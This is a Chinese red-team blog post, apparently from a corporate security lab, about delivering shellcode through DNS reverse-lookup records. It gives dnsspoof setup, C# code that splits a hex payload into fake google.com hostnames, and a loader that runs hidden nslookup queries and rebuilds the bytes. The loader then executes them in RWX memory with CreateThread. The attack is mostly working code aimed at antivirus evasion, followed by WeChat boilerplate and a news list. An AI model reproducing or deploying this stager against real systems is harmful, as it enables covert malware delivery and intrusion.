利用DNS 反向解析执行shellcode
作者简介 /Profile/
罗逸,平安科技银河实验室资深安全研究员,从业7年,专注红蓝对抗研究,擅长免杀技术、目标控制、内网渗透等。
0x01 什么是DNS反向解析
0x02 利用思路
2.1 工具dnsspoof
2.2 思路
2.3 优点
2.4 缺点
0x03 C#实现DNS反向解析传输数据
3.1 DnsHostCreate
3.2 启动dns服务
3.3 C# DNS text Loader
0x04 运行结果
0x05 结论
0x01 什么是DNS反向解析

0x02 利用思路
2.1 工具dnsspoof
192.168.1.0 "fc4883e4f0e8c8000000415141505251564831d265488b5260488b521848.google.com"
启动DNS欺骗
dnsspoof -f dns.txt
λ nslookup 192.168.1.0 10.0.0.8DNS request timed out.timeout was 2 seconds.服务器: UnKnownAddress: 10.0.0.8名称: "fc4883e4f0e8c8000000415141505251564831d265488b5260488b521848.google.com"Address: 192.168.1.0
2.2 思路
2.3 优点
2.4 缺点
0x03 C#实现DNS反向解析传输数据
3.1 DnsHostCreate
string domain = args[0];string ipsegment = args[1];string payload = args[2];string str = payload.Replace("0x","").Replace(", ","").Replace(" ","");
int dns_data_lenght = str.Length / 60;if(str.Length % 60 !=0 ){dns_data_lenght += 1;}
for (int i = 0; i < dns_data_lenght; i++){string dns = "";if (i == dns_data_lenght - 1){dns = str.Substring((dns_data_lenght - 1) * 60);}else{dns = str.Substring(i * 60, 60);}Console.WriteLine(string.Format("{0}.{1} \"{2}.{3}\"", ipsegment, i.ToString(),dns,domain));}
192.168.1.0 "fc4883e4f0e8c8000000415141505251564831d265488b5260488b521848.google.com"192.168.1.1 "8b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d41.google.com"192.168.1.2 "01c1e2ed524151488b52208b423c4801d0668178180b0275728b80880000.google.com"...192.168.1.29 "9689e2ffd54883c42085c074b6668b074801c385c075d758585848050000.google.com"192.168.1.30 "000050c3e87ffdffff31302e302e302e380000000000.google.com"
[!] IPaddress Counter is: 31[!] IP Segment: 192.168.1.
3.2 启动DNS服务
apt-get install dnsspoof -ydnsspoof -f dns.txt
λ nslookup 192.168.1.0 10.0.0.8DNS request timed out.timeout was 2 seconds.服务器: UnKnownAddress: 10.0.0.8名称: "fc4883e4f0e8c8000000415141505251564831d265488b5260488b521848.google.com"Address: 192.168.1.0
3.3 C# DNS text Loader
string _DnsServer = "10.0.0.8";string _IPaddress_Begin = "192.168.1.";int _IPaddress_Counter = 31;
ProcessStartInfo ns_Prcs_info = new ProcessStartInfo("nslookup.exe", DNS_PTR_A + " " + DnsServer);ns_Prcs_info.RedirectStandardInput = true;ns_Prcs_info.RedirectStandardOutput = true;ns_Prcs_info.UseShellExecute = false;var random = new Random();System.Threading.Thread.Sleep(random.Next(1, 800));Process nslookup = new Process();nslookup.StartInfo = ns_Prcs_info;nslookup.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;nslookup.Start();string computerList = nslookup.StandardOutput.ReadToEnd();
DNS request timed out.timeout was 2 seconds.服务器: UnKnownAddress: 10.0.0.8名称: "fc4883e4f0e8c8000000415141505251564831d265488b5260488b521848.google.com"Address: 192.168.1.0
string[] lines = computerList.Split('\r', 'n');string last_line = lines[lines.Length - 4];string temp_1 = last_line.Remove(0, 9);_Records = "\"" + temp_1;int i = temp_1.LastIndexOf('.');string temp_2 = temp_1.Remove(i, (temp_1.Length - i));int b = temp_2.LastIndexOf('.');string final = temp_2.Remove(b, temp_2.Length - b);
for (int i = 0; i < _IPaddress_Counter; i++){_DATA[i] = __nslookup(_IPaddress_Begin + i, _DnsServer);DATA += _DATA[i].ToString();}
object tmp = new object();byte[] __Bytes = new byte[DATA.Length / 2];for (int i = 0; i < __Bytes.Length - 1; i++){int start = i * 2;tmp = DATA.Substring(start, 2);byte current = Convert.ToByte("0x" + tmp.ToString(), 16);__Bytes[i] = current;}
调用创建线程来运行payload
UInt32 funcAddr = VirtualAlloc(0, (UInt32)__Bytes.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);Marshal.Copy(__Bytes, 0, (IntPtr)(funcAddr), __Bytes.Length);IntPtr hThread = IntPtr.Zero;UInt32 threadId = 0;IntPtr pinfo = IntPtr.Zero;hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);WaitForSingleObject(hThread, 0xFFFFFFFF);
0x04 运行结果





0x05 结论
银河实验室

往期回顾
技术
技术
技术
技术



长按识别二维码关注我们
微信号:PSRC_Team

球分享

球点赞

球在看
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 习近平同马克龙交流互动的经典瞬间 7904530
- 2 确认完最后一步 反诈民警蹲地上哭了 7809707
- 3 仅退款225个快递女子曾打造富婆人设 7711790
- 4 2025你的消费习惯“更新”了吗 7618979
- 5 荷兰大臣:没想到中方叫停芯片出口 7522537
- 6 日本友人捐侵华日军家信内容残忍 7427354
- 7 连霍高速发生交通事故 造成9死7伤 7332591
- 8 危险信号!俄数百辆保时捷突然被锁死 7235860
- 9 公考枪手替考89次敛财千万 7135431
- 10 中疾控流感防治七问七答 7043913







平安安全应急响应中心
